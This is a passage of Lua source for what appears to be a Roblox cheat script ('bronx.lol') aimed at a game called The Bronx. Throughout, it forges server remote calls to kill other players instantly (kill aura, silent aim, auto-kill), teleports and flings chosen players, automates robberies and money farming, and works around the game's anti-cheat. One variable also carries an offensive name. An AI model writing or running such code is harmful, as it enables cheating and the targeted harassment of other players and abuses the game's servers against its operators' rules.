                    isKeysPressed(Enum.KeyCode.S) - isKeysPressed(Enum.KeyCode.W)
                )
            end
            
            StartFlight = LPH_NO_VIRTUALIZE(function()
                if Config.MiscSettings.Fly.Type == "Classic" then
                    local gyro = Instance.new("BodyGyro")
                    local velo = Instance.new("BodyVelocity")
                    table.insert(
                        flight_registry,
                        RunService.Stepped:Connect(function(t, dt)
                            if not root or not humanoid then return end
                            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                            humanoid.PlatformStand = true
                            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                            local velocity = getFlightDirection() * Config.MiscSettings.Fly.Speed
                            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                            local orientation = CFrame.fromEulerAnglesXYZ(Camera.CFrame:ToEulerAnglesXYZ())
                            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                            gyro.CFrame = orientation
                            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                            velo.Velocity = orientation:PointToWorldSpace(velocity)
                            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                            gyro.Parent = root
                            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                            velo.Parent = root
                            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                        end)
                    )
                    table.insert(flight_registry, gyro)
                    table.insert(flight_registry, velo)
                    table.insert(flight_registry, function() humanoid.PlatformStand = false end)
                    gyro.P = 9e4
                    gyro.D = 1e3
                    gyro.MaxTorque = Vector3.new(9e9, 9e9, 9e9)
                    velo.MaxForce = Vector3.new(9e9, 9e9, 9e9)
                elseif Config.MiscSettings.Fly.Type == "CFrame" then
                    table.insert(
                        flight_registry,
                        RunService.Stepped:Connect(function(t, dt)
                            if not root or not humanoid then return end
                            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                            local velocity = getFlightDirection() * Config.MiscSettings.Fly.Speed * dt
                            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                            local position, orientation = CFrame.new(root.Position), CFrame.fromEulerAnglesXYZ(Camera.CFrame:ToEulerAnglesXYZ())
                            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                            root.CFrame = position * orientation * CFrame.new(velocity)
                            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                            root.AssemblyLinearVelocity = Vector3.zero
                            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                            root.AssemblyAngularVelocity = Vector3.zero
                            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                            root.Anchored = true
                            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                            humanoid.PlatformStand = true
                            humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
                        end)
                    )
                    table.insert(flight_registry, function() root.Anchored = false end)
                    table.insert(flight_registry, function() humanoid.PlatformStand = false end)
                end
            end)
            
            ResetFlight = LPH_NO_VIRTUALIZE(function()
                for i,v in flight_registry do
                    local t = typeof(v)
                    if t == "RBXScriptConnection" then v:Disconnect()
                    elseif t == "Instance" then v:Destroy()
                    elseif t == "function" then task.spawn(v) end
                end
                flight_registry = {}
            end)
            
            local OnCharacter = LPH_NO_VIRTUALIZE(function(character: Model)
                root = character:WaitForChild("HumanoidRootPart")
                humanoid = character:WaitForChild("Humanoid")

                if Config.TheBronx.Fly.Enabled then
                    RunService.Stepped:Wait()
                    StartFlight()
                end
            end)
            
            local OnInputBegan = LPH_NO_VIRTUALIZE(function(input: InputObject, gameProcessedEvent: boolean)
                if gameProcessedEvent then return end
                if input.UserInputType ~= Enum.UserInputType.Keyboard then return end
                local keycode = input.KeyCode
                if KEYCODES[keycode] then input_keys[keycode] = true end
            end)
            
            local OnInputEnded = LPH_NO_VIRTUALIZE(function(input: InputObject)
                if input.UserInputType ~= Enum.UserInputType.Keyboard then return end
                local keycode = input.KeyCode
                if KEYCODES[keycode] then input_keys[keycode] = false end
            end)
            
            local OnCamera = LPH_NO_VIRTUALIZE(function()
                Camera = Workspace.CurrentCamera or Camera
            end)
            
            if LocalPlayer.Character then task.spawn(OnCharacter, LocalPlayer.Character) end
            LocalPlayer.CharacterAdded:Connect(OnCharacter)
            UserInputService.InputBegan:Connect(OnInputBegan)
            UserInputService.InputEnded:Connect(OnInputEnded)
            Workspace.Changed:Connect(OnCamera)

            local kill_gun = LPH_JIT_MAX(function(target: string, hpart: string, damage: number) 
                if not hpart then
                    hpart = "head"
                end

                if not damage then
                    damage = math.huge
                end

                local data = {
                    ["tool"] = Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"),
                    ["target"] = Players[target],
                    ["hitpos"] = Players[target].Character[hpart].Position,
                }

                if not rawget(data, "tool") then
                    return
                end

                if RequireSupport then
                    require(rawget(data, "tool").Setting).Range = 10000
                end

                ReplicatedStorage.VisualizeMuzzle:FireServer(table.unpack({
                    rawget(data, "tool").Handle,
                    true,
                    {
                        false,
                        7,
                        Color3.new(1, 1.1098039150238, 0),
                        15,
                        true,
                        0.02
                    },
                    rawget(data, "tool").GunScript_Local.MuzzleEffect
                }))

                ReplicatedStorage.VisualizeBullet:FireServer(table.unpack({
                    rawget(data, "tool"),
                rawget(data, "tool").Handle,
                    Vector3.new(-0.17746905982494, 0.088731124997139, 0.98011803627014),
                    rawget(data, "tool").Handle.GunFirePoint,
                    {
                        true,
                        {
                            112139677907600,
                            92977228204408,
                            112139677907600,
                            92977228204408
                        },
                        1,
                        1,
                        10,
                        rawget(data, "tool").GunScript_Local.HitEffect,
                        true
                    },
                    {
                        true,
                        {
                            0,
                            0,
                            0,
                            0,
                            0,
                            0
                        },
                        1,
                        1,
                        1,
                        rawget(data, "tool").GunScript_Local.BloodEffect
                    },
                    {
                        true,
                        0.2,
                        {
                            3696144972
                        },
                        true,
                        7,
                        1
                    },
                    {
                        false,
                        8,
                        true,
                        {
                            163064102
                        },
                        1,
                        1.5,
                        1,
                        false,
                        rawget(data, "tool").GunScript_Local.ExplosionEffect
                    },
                    {
                        false,
                        Vector3.new(0.10000000149012, 0, 0),
                        Vector3.new(-0.10000000149012, 0, 0),
                        rawget(data, "tool").GunScript_Local.TracerEffect,
                        nil,
                        rawget(data, "tool").GunScript_Local.ParticleEffect,
                        300,
                        526,
                        0,
                        Vector3.zero,
                        Vector3.new(0.40000000596046, 0.40000000596046, 0.40000000596046),
                        Color3.new(0.63921570777893, 0.63529413938522, 0.61176472902298),
                        1,
                        Enum.Material.Neon,
                        Enum.PartType.Cylinder,
                        false,
                        6696543809,
                        0,
                        Vector3.new(0.0070000002160668, 0.0070000002160668, 0.0070000002160668)
                    },
                    {
                        true,
                        {
                            269514869,
                            269514887,
                            269514807,
                            269514817
                        },
                        0.5,
                        1,
                        1.5,
                        100
                    },
                    {
                        false,
                        3,
                        Color3.new(1, 0.64705884456635, 0.60000002384186),
                        6,
                        true
                    }
                }))

                ReplicatedStorage.InflictTarget:FireServer(table.unpack({
                    rawget(data, "tool"),
                    LocalPlayer,
                    rawget(data, "target").Character.Humanoid,
                    rawget(data, "target").Character[hpart],
                    damage,
                    {
                        0,
                        0,
                        false,
                        false,
                        rawget(data, "tool").GunScript_Server.IgniteScript,
                        rawget(data, "tool").GunScript_Server.IcifyScript,
                        100,
                        100
                    },
                    {
                        false,
                        5,
                        3
                    },
                    rawget(data, "target").Character[hpart],
                    {
                        false,
                        {
                            1930359546
                        },
                        1,
                        1.5,
                        1
                    },
                    rawget(data, "hitpos"),
                    Vector3.new(0.074456036090851, -0.099775791168213, -0.99222022294998),
                    true
                }))
            end)

            getgenv().kill_gun = kill_gun

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while task.wait(1) do
                    if not Config.TheBronx.KillAura then continue end
                    if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChildOfClass("Tool") or not LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild("Setting") then continue end
                    for Index, Value in Players:GetPlayers() do
                        if table.find(library.whitelist, tostring(Value)) then continue end
                        if Value == LocalPlayer then continue end
                        if not Value.Character or not Value.Character:FindFirstChildOfClass("Humanoid") or not Value.Character:FindFirstChild("HumanoidRootPart") then continue end
                        if Value.Character:FindFirstChildOfClass("Humanoid").Health == 0 then continue end
                        if Value.Character:FindFirstChildOfClass("ForceField") then continue end

                        if not DistanceCheck(Value, Config.TheBronx.KillAuraRange) then continue end

                        kill_gun(tostring(Value), 'Head', math.huge)
                    end
                end
            end))

            local Get_Vehicle = LPH_NO_VIRTUALIZE(function()
                for Index, Value in Workspace.CivCars:GetChildren() do
                    if not Value:FindFirstChild("DriveSeat") then continue end
                    if not Value.DriveSeat.Occupant then
                        return Value
                    end
                end
            end)

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while task.wait() do
                    if not Config.TheBronx.PlayerUtilities.BugPlayer then continue end
                    if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("HumanoidRootPart") or not Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer) or not Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character or not Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild("HumanoidRootPart") then continue end                    

                    local Car_To_Use = Get_Vehicle()

                    if not Car_To_Use then continue end
                    if not Car_To_Use:FindFirstChild("DriveSeat") then continue end
                    if Car_To_Use:FindFirstChild("DriveSeat").Occupant then continue end

                    if not Car_To_Use:GetAttribute("Usable") or Car_To_Use:GetAttribute("Usable") == false then
                        Car_To_Use.DriveSeat:Sit(LocalPlayer.Character.Humanoid)

                        Car_To_Use:SetAttribute("Usable", true)
                        task.wait(1)

                        LocalPlayer.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Jumping)

                        LocalPlayer.Character.Humanoid.Jump = true
                        LocalPlayer.Character.Humanoid.Sit = false
                    end
                    
                    task.wait()

                    if not Car_To_Use.PrimaryPart then
                        Car_To_Use.PrimaryPart = Car_To_Use.Body:FindFirstChild("#Weight")
                    end

                    Car_To_Use:SetPrimaryPartCFrame(Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild("HumanoidRootPart").CFrame)
                end
            end))

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while task.wait(.25) do
                    if not Config.TheBronx.AutoDrop then continue end
                    ReplicatedStorage:WaitForChild("BankProcessRemote"):InvokeServer("Drop", tostring(Config.TheBronx.MoneyAmount))
                end
            end))

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while task.wait(1) do
                    if not Config.TheBronx.PlayerUtilities.AutoKill then continue end
                    if not LocalPlayer.Character then continue end
                    if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("HumanoidRootPart") or not Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer) or not Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character or not Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild("HumanoidRootPart") then continue end                    
                    if not LocalPlayer.Character:FindFirstChildOfClass("Tool") then continue end
                    if not LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild("GunScript_Local") then continue end

                    if Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild("Humanoid").Health == 0 then continue end
                    if Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChildOfClass("ForceField") then continue end

                    if RequireSupport then
                        kill_gun(Config.TheBronx.PlayerUtilities.SelectedPlayer, 'Head', math.huge)
                    else
                        if DistanceCheck(Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer), 300) == false then
                            local OldCFrame = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
                            Teleport(Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild("HumanoidRootPart").CFrame)
                            kill_gun(Config.TheBronx.PlayerUtilities.SelectedPlayer, 'Head', math.huge)
                            task.wait(.5)
                            Teleport(OldCFrame)
                        else
                            kill_gun(Config.TheBronx.PlayerUtilities.SelectedPlayer, 'Head', math.huge)
                        end
                    end
                end
            end))

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while task.wait(2) do
                    if not Config.TheBronx.PlayerUtilities.AutoRagdoll then continue end
                    if not LocalPlayer.Character then continue end
                    if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("HumanoidRootPart") or not Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer) or not Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character or not Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild("HumanoidRootPart") then continue end                    
                    if not LocalPlayer.Character:FindFirstChildOfClass("Tool") then continue end
                    if not LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild("GunScript_Local") then continue end

                    if Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild("Humanoid").Health == 0 then continue end
                    if Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild("Humanoid"):GetState() == Enum.HumanoidStateType.Physics then continue end

                    kill_gun(Config.TheBronx.PlayerUtilities.SelectedPlayer, 'RightUpperLeg', 0.01)
                end
            end))

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while task.wait() do
                    if not Config.TheBronx.PlayerUtilities.BringingPlayer then continue end
                    if tostring(Config.TheBronx.PlayerUtilities.SelectedPlayer) == tostring(LocalPlayer) then continue end
                    if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("HumanoidRootPart") or not Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer) or not Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character or not Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild("HumanoidRootPart") then continue end
                    Players:FindFirstChild(Config.TheBronx.PlayerUtilities.SelectedPlayer).Character:FindFirstChild("HumanoidRootPart").CFrame = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame + Vector3.new(2, 0, 0)
                end
            end))

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while true do
                    task.wait(0)
                    if Config.TheBronx.VehicleModifications.SpeedEnabled and UserInputService:IsKeyDown(Enum.KeyCode.W) then
                        if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid") then
                            if LocalPlayer.Character and typeof(LocalPlayer.Character) == "Instance" then
                                local Humanoid = LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid")
                                if Humanoid and typeof(Humanoid) == "Instance" then
                                    local SeatPart = Humanoid.SeatPart
                                    if SeatPart and typeof(SeatPart) == "Instance" and SeatPart:IsA("VehicleSeat") then
                                        SeatPart.AssemblyLinearVelocity *= Vector3.new(1 + Config.TheBronx.VehicleModifications.SpeedValue, 1, 1 + Config.TheBronx.VehicleModifications.SpeedValue)
                                    end
                                end
                            end
                        end
                    end
                end
            end))

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while true do
                    task.wait(0)
                    if Config.TheBronx.VehicleModifications.BreakEnabled and UserInputService:IsKeyDown(Enum.KeyCode.S) then
                        if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid") then
                            if LocalPlayer.Character and typeof(LocalPlayer.Character) == "Instance" then
                                local Humanoid = LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid")
                                if Humanoid and typeof(Humanoid) == "Instance" then
                                    local SeatPart = Humanoid.SeatPart
                                    if SeatPart and typeof(SeatPart) == "Instance" and SeatPart:IsA("VehicleSeat") then
                                        SeatPart.AssemblyLinearVelocity *= Vector3.new(1 - Config.TheBronx.VehicleModifications.BreakValue, 1, 1 - Config.TheBronx.VehicleModifications.BreakValue)
                                    end
                                end
                            end
                        end
                    end
                end
            end))

            local GetPlaceToPlaceWood = LPH_NO_VIRTUALIZE(function()
                for Index, Value in Workspace.ConstructionStuff:GetChildren() do
                    if Value.Name:find("Wall") and Value:IsA("Part") and Value:FindFirstChild("Prompt") then
                        if Value:FindFirstChild("Prompt").Enabled then
                            return Value
                        end
                    end
                end
            end)

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while true do task.wait()
                    if not Config.TheBronx.Farms.FarmConstructionJob then continue end

                    if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then continue end
                    if not LocalPlayer.Character:FindFirstChild("Humanoid") or LocalPlayer.Character:FindFirstChild("Humanoid").Health == 0 then continue end

                    if not LocalPlayer:GetAttribute("WorkingJob") then
                        Teleport(CFrame.new(-1729, 371, -1171))

                        task.wait(0.4)

                        fireproximityprompt(Workspace.ConstructionStuff["Start Job"].Prompt)

                        repeat task.wait() until LocalPlayer:GetAttribute("WorkingJob")
                    end

                    if not LocalPlayer.Backpack:FindFirstChild("PlyWood") and not LocalPlayer.Character:FindFirstChild("PlyWood") then
                        Teleport(CFrame.new(-1728, 371, -1178))
                        
                        repeat task.wait() fireproximityprompt(Workspace.ConstructionStuff["Grab Wood"].Prompt) until LocalPlayer.Backpack:FindFirstChild("PlyWood") or LocalPlayer.Character:FindFirstChild("PlyWood")
                    end

                    repeat task.wait() until LocalPlayer.Backpack:FindFirstChild("PlyWood") or LocalPlayer.Character:FindFirstChild("PlyWood")

                    LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("PlyWood"))

                    local PlaceToPlaceWood = GetPlaceToPlaceWood()

                    if not PlaceToPlaceWood then continue end

                    Teleport(PlaceToPlaceWood.CFrame)

                    repeat task.wait()
                        fireproximityprompt(PlaceToPlaceWood.Prompt)
                    until not LocalPlayer.Character:FindFirstChild("PlyWood") or not PlaceToPlaceWood.Prompt.Enabled
                end
            end))

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while true do task.wait()
                    if not Config.TheBronx.Farms.FarmBank then continue end

                    if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then continue end
                    if not LocalPlayer.Character:FindFirstChild("Humanoid") or LocalPlayer.Character:FindFirstChild("Humanoid").Health == 0 then continue end

                    local Robbable = Workspace.vault.door.robPrompt.ProximityPrompt.Enabled

                    if not Robbable then
                        if Config.TheBronx.Farms.AFKCheck then
                            Teleport(SafePosition)
                        end

                        task.wait(0.4)

                        continue
                    end

                    if not LocalPlayer.Character:FindFirstChild("DuffelBag") then
                        Teleport(CFrame.new(-397, 340, -551))

                        task.wait(0.4)

                        fireproximityprompt(Workspace.dufflebagequip:FindFirstChildWhichIsA("ProximityPrompt"))
                    end

                    if not LocalPlayer.Backpack:FindFirstChild("C4") and not LocalPlayer.Character:FindFirstChild("C4") then
                        Teleport(CFrame.new(-393, 340, -564))

                        task.wait(0.4)

                        fireproximityprompt(Workspace.GUNS.C4.Handle.BuyPrompt)
                    end

                    repeat task.wait() until LocalPlayer.Backpack:FindFirstChild("C4") or LocalPlayer.Character:FindFirstChild("C4")

                    LocalPlayer.Character.Humanoid:EquipTool(LocalPlayer.Backpack:FindFirstChild("C4"))

                    Teleport(CFrame.new(-196, 374, -1216))

                    task.wait(0.4)

                    fireproximityprompt(Workspace.vault.door.robPrompt.ProximityPrompt)

                    task.wait(2)

                    local Number = LocalPlayer.Character.DuffelBag.display.SurfaceGui.Frame.TextLabel.Text

                    Number = Number:gsub("0/", "")

                    for Index = 1, tonumber(Number) do
                        local Cash = Workspace.BankItems.Cash:FindFirstChild("Cash")

                        if not Cash then
                            for i,v in Workspace:GetChildren() do
                                if v.Name == "Cash" and v:IsA("Model") and v:FindFirstChild("Model") then
                                    Cash = v
                                end
                            end
                        end

                        Teleport(Cash.Model.Cash.CFrame)
                        task.wait(0.4)
                        fireproximityprompt(Cash.Model:FindFirstChildWhichIsA("ProximityPrompt", true))
                        task.wait(.25)
                    end

                    Teleport(Workspace.sellgold.CFrame)

                    task.wait(0.4)

                    fireclickdetector(Workspace.sellgold.ClickDetector)
                end
            end))

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while true do task.wait()
                    if not Config.TheBronx.Farms.FarmHouses then continue end

                    if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then continue end
                    if not LocalPlayer.Character:FindFirstChild("Humanoid") or LocalPlayer.Character:FindFirstChild("Humanoid").Health == 0 then continue end

                    local HardDoorEnabled = Workspace.HouseRobb.HardDoor.Door:FindFirstChildWhichIsA("ProximityPrompt", true).Enabled

                    if not HardDoorEnabled and Config.TheBronx.Farms.AFKCheck then
                        Teleport(SafePosition)
                        continue
                    end

                    if HardDoorEnabled then
                        repeat task.wait()
                        Teleport(Workspace.HouseRobb.HardDoor.Door:FindFirstChildWhichIsA("ProximityPrompt", true).Parent.CFrame)
                        task.wait(0.4)

                        fireproximityprompt(Workspace.HouseRobb.HardDoor.Door:FindFirstChildWhichIsA("ProximityPrompt", true))

                        until Workspace.HouseRobb.HardDoor:FindFirstChild("TakeMoney") and Workspace.HouseRobb.HardDoor:FindFirstChild("TakeMoney"):FindFirstChild("MoneyGrab"):FindFirstChildWhichIsA("ProximityPrompt", true).Enabled


                        for Index, Value in Workspace.HouseRobb.HardDoor.TakeMoney:GetChildren() do                            
                            Teleport(Value.CFrame)
                            fireproximityprompt(Value.ProximityPrompt)
                            task.wait(0.025)
                        end

                        continue
                    end
                end
            end))

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while true do task.wait()
                    if not Config.TheBronx.Farms.FarmStudio then continue end

                    if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then continue end
                    if not LocalPlayer.Character:FindFirstChild("Humanoid") or LocalPlayer.Character:FindFirstChild("Humanoid").Health == 0 then continue end

                    local Prompt1, Prompt2, Prompt3 = Workspace.StudioPay.Money.StudioPay1:FindFirstChild("Prompt", true), Workspace.StudioPay.Money.StudioPay2:FindFirstChild("Prompt", true), Workspace.StudioPay.Money.StudioPay3:FindFirstChild("Prompt", true)

                    if Prompt1.Enabled then
                        Teleport(Prompt1.Parent.CFrame)
                        task.wait(0.4)
                        fireproximityprompt(Prompt1)
                        task.wait(0.1)
                    end

                    if Prompt2.Enabled then
                        Teleport(Prompt2.Parent.CFrame)
                        task.wait(0.4)
                        fireproximityprompt(Prompt2)
                        task.wait(0.1)
                    end

                    if Prompt3.Enabled then
                        Teleport(Prompt3.Parent.CFrame)
                        task.wait(0.4)
                        fireproximityprompt(Prompt3)
                        task.wait(0.1)
                    end
                    
                    if Config.TheBronx.Farms.AFKCheck then
                        task.wait(0.4)
                        Teleport(SafePosition)
                        task.wait(0.4)
                        continue
                    end
                end
            end))

            local PressKey = function(KeyCode, Duration)
                task.spawn(LPH_NO_VIRTUALIZE(function()
                    Services.VirtualInputManager:SendKeyEvent(false, KeyCode, false, game)
                    Services.VirtualInputManager:SendKeyEvent(true, KeyCode, false, game)
                    task.wait(Duration)
                    Services.VirtualInputManager:SendKeyEvent(false, KeyCode, false, game)
                end))
            end

            task.spawn(LPH_NO_VIRTUALIZE(function()
                while true do task.wait()
                    if not Config.TheBronx.Farms.FarmTrash then continue end

                    if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then continue end
                    if not LocalPlayer.Character:FindFirstChild("Humanoid") or LocalPlayer.Character:FindFirstChild("Humanoid").Health == 0 then continue end

                    for Index, Value in Workspace:GetChildren() do
                        if Value.Name == "DumpsterPromt" and Config.TheBronx.Farms.FarmTrash then
                            if Value:FindFirstChild("ProximityPrompt") and Value:FindFirstChild("ProximityPrompt").Enabled then
                                Value:FindFirstChild("ProximityPrompt").HoldDuration = 0
                                Teleport(CFrame.new(Value.Position.X, Value.Position.Y, Value.Position.Z))
                                task.wait(0.4)

                                if not Solara then
                                    PressKey(Enum.KeyCode.E)
                                else
                                    fireproximityprompt(Value:FindFirstChild("ProximityPrompt"))
                                end

                                task.wait(0.5)
                                Value:FindFirstChild("ProximityPrompt").HoldDuration = 1
                            end
                        end 
                    end

                    if Config.TheBronx.Farms.AutoSellTrash then
                        for Index, Value in LocalPlayer.Backpack:GetChildren() do
                            if Value:IsA("Tool") then
                                ReplicatedStorage:WaitForChild("PawnRemote"):FireServer(Value.Name)
                                task.wait()
                            end
                        end
                        
                        task.wait(1)
                    end
                end
            end))

            GetGoodCleaner = LPH_NO_VIRTUALIZE(function()
                local CounterInstance;

                for Index, Value in Workspace["1# Map"]:GetChildren() do
                    if Value:FindFirstChild("CounterM") then
                        CounterInstance = Value
                    end
                end

                for Index, Value in next, {Workspace.CounterBag:GetChildren(), CounterInstance:GetChildren()} do
                    for _Index, _Value in Value do
                        if _Value:FindFirstChild("CashPrompt", true) and _Value:FindFirstChild("CashPrompt", true).Enabled and _Value:FindFirstChild("CashPrompt", true).ObjectText == "Count Bread" and _Value:FindFirstChild("GrabPrompt", true) and not _Value:FindFirstChild("GrabPrompt", true).Enabled then
                            return _Value
                        end
                    end
                end
            end)

            UserInputService.InputBegan:Connect(function(Input, GameProcessedEvent)
                if Input.KeyCode == Config.TheBronx.VehicleModifications.InstantStopBind and Config.TheBronx.VehicleModifications.InstantStop and (not GameProcessedEvent) then
                    if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid") then
                        if LocalPlayer.Character and typeof(LocalPlayer.Character) == "Instance" then
                            local Humanoid = LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid")
                            if Humanoid and typeof(Humanoid) == "Instance" then
                                local SeatPart = Humanoid.SeatPart
                                if SeatPart and typeof(SeatPart) == "Instance" and SeatPart:IsA("VehicleSeat") then
                                    SeatPart.AssemblyLinearVelocity *= Vector3.new(0, 0, 0)
                                    SeatPart.AssemblyAngularVelocity *= Vector3.new(0, 0, 0)
                                end
                            end
                        end
                    end
                end
            end)

            if Solara then
                LocalPlayer.PlayerScripts.BulletVisualizerClientScript.Visualize.Event:Connect(function(...)
                    local args = {...}

                    local data = {
                        ["damage"] = args[10][1],
                        ["player"] = args[1].Parent
                    }

                    if rawget(data, "damage") and type(args[10][1]) == 'number' and Config.Silent.Enabled and Config.Silent.Targetting and args[10] and data["player"] == LocalPlayer.Character then
                        if not (math.random(0, 100) <= Config.Silent.HitChance) then 
                            return
                        end 

                        local RandomPart = Config.Silent.TargetPart[1] and Config.Silent.TargetPart[math.random(1, #Config.Silent.TargetPart)] or "Head"

                        if SilentTarget and SilentTarget.Character and SilentTarget.Character:FindFirstChild(RandomPart) then

                            if not Config.Silent.WallBang then
                                local Holocaust = Workspace:FindPartOnRayWithIgnoreList(Ray.new(LocalPlayer.Character[RandomPart].Position, (SilentTarget.Character[RandomPart].Position - LocalPlayer.Character[RandomPart].Position).Unit * (SilentTarget.Character[RandomPart].Position - LocalPlayer.Character[RandomPart].Position).Magnitude), {SilentTarget.Character, LocalPlayer.Character})
                                
                                if Holocaust then return end
                            end

                            kill_gun(tostring(SilentTarget), RandomPart, data["damage"])
                        end
                    end
                end)
            end
        
            
            HideUI = LPH_NO_VIRTUALIZE(function(Title, Timing)
                getgenv().HideScreenGUI = Instance.new("ScreenGui")
                getgenv().HideScreenGUI.Name = "\n\n\n\n\n"
                getgenv().HideScreenGUI.Parent = gethui and gethui() or Services.CoreGui
            
                local frame = Instance.new("Frame")
                frame.Name = "BlackFrame"
                frame.Size = UDim2.new(2, 0, 2, 0) 
                frame.Position = UDim2.new(0, -155, 0, -155) 
                frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) 
                frame.BackgroundTransparency = 0
                frame.Parent = getgenv().HideScreenGUI
            
                local textLabel = Instance.new("TextLabel")
                textLabel.Name = "\nhideuibronxlol"
                textLabel.Size = UDim2.new(0, 400, 0, 100)
                textLabel.Font = Enum.Font.SourceSansBold
                textLabel.RichText = true
                textLabel.Text = '<font color="rgb(0,163,224)">bronx.</font>lol\n' .. Title
                textLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
                textLabel.BackgroundTransparency = 1
                textLabel.TextSize = 36
                textLabel.TextStrokeTransparency = 0.8 
                textLabel.TextXAlignment = Enum.TextXAlignment.Center
                textLabel.TextYAlignment = Enum.TextYAlignment.Center
                textLabel.TextWrapped = true
                textLabel.AnchorPoint = Vector2.new(0.5, 0.5)
                textLabel.Position = UDim2.new(0.5, 0, 0.5, 0)
                textLabel.Parent = getgenv().HideScreenGUI
            
                if Timing then
                    task.spawn(function()
                        local startTime = tick()
                        local endTime = startTime + Timing
                        while tick() < endTime do
                            local timeLeft = endTime - tick()

                            textLabel.Text = string.format(
                                '<font color="rgb(0,163,224)">bronx.</font>lol\n%s\nplease wait : <font color="rgb(0,163,224)">%.2f</font> seconds',
                                Title, math.max(timeLeft, 0)
                            )

                            task.wait()
                        end
                    end)
                end
            
                return textLabel
            end)            

            DeleteSecretUI = LPH_NO_VIRTUALIZE(function(Title)
                if getgenv().HideScreenGUI then
                    getgenv().HideScreenGUI:Destroy()
                    getgenv().HideScreenGUI = nil
                end
            end)

            getgenv().Teleport = LPH_NO_VIRTUALIZE(function(CFrame, DontUi)
                if not LocalPlayer.Character then return end
                if not LocalPlayer.Character:FindFirstChild("Humanoid") then return end

                --[[if not DontUi then
                    HideUI("teleporting.\nplease wait.")
                end]]
                
                LocalPlayer.Character:FindFirstChild("Humanoid"):ChangeState(0)

                repeat task.wait() until not LocalPlayer:GetAttribute("LastACPos")
                LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame

                task.wait()
                LocalPlayer.Character:FindFirstChild("Humanoid"):ChangeState(2)

                --[[if not DontUi then
                    DeleteSecretUI()
                end]]

                return true
            end)

            GetWorkingSafe = LPH_NO_VIRTUALIZE(function()
                local House; local Safe;
                
